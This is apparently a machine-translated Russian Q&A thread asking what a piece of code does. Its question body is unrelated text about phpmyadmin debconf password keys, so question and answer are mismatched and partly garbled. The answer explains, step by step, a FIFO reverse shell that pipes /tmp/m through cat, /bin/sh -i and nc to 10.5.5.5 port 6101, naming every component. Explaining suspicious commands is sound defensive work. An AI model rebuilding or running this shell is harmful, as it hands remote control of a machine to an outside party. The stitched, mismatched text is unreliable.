Что на самом деле делает этот код?
Я проверил и могу подтвердить:
phpmyadmin/mysql/admin-pass— пароль корневой учетной записи mysqlphpmyadmin/mysql/app-pass(иphpmyadmin/app-password-confirm)— пароль учетной записиphpmyadmin@localhost
Думаю, (, но у меня нет доказательств ), что:
phpmyadmin/password-confirmсовпадает сphpmyadmin/app-password-confirmphpmyadmin/setup-password— пароль учетной записиdebian-sys-maint
0
sh.3.ll
18.03.2020, 12:44
Ссылка
1 ответ
Это устанавливает удаленно -управляемую оболочку в системе. Входы и выходы следующие:
cat /tmp/mчитает из/tmp/mFIFO и записывает в...|/bin/sh -i 2>&1который выполняет команды, которые он читает, и отправляет свой вывод (как стандартный вывод, так и стандартную ошибку )в...|nc 10.5.5.5 6101который подключается к 10.5.5.5 :6101 и пишет в>/tmp/mФИФО.
Таким образом, удаленная система может передавать команды, которые передаются через nc, записываются в FIFO, считываются cat, интерпретируются sh, а выходные данные этих команд отправляются обратно в удаленную систему через nc.
4
Stephen Kitt
28.04.2021, 23:20
Ссылка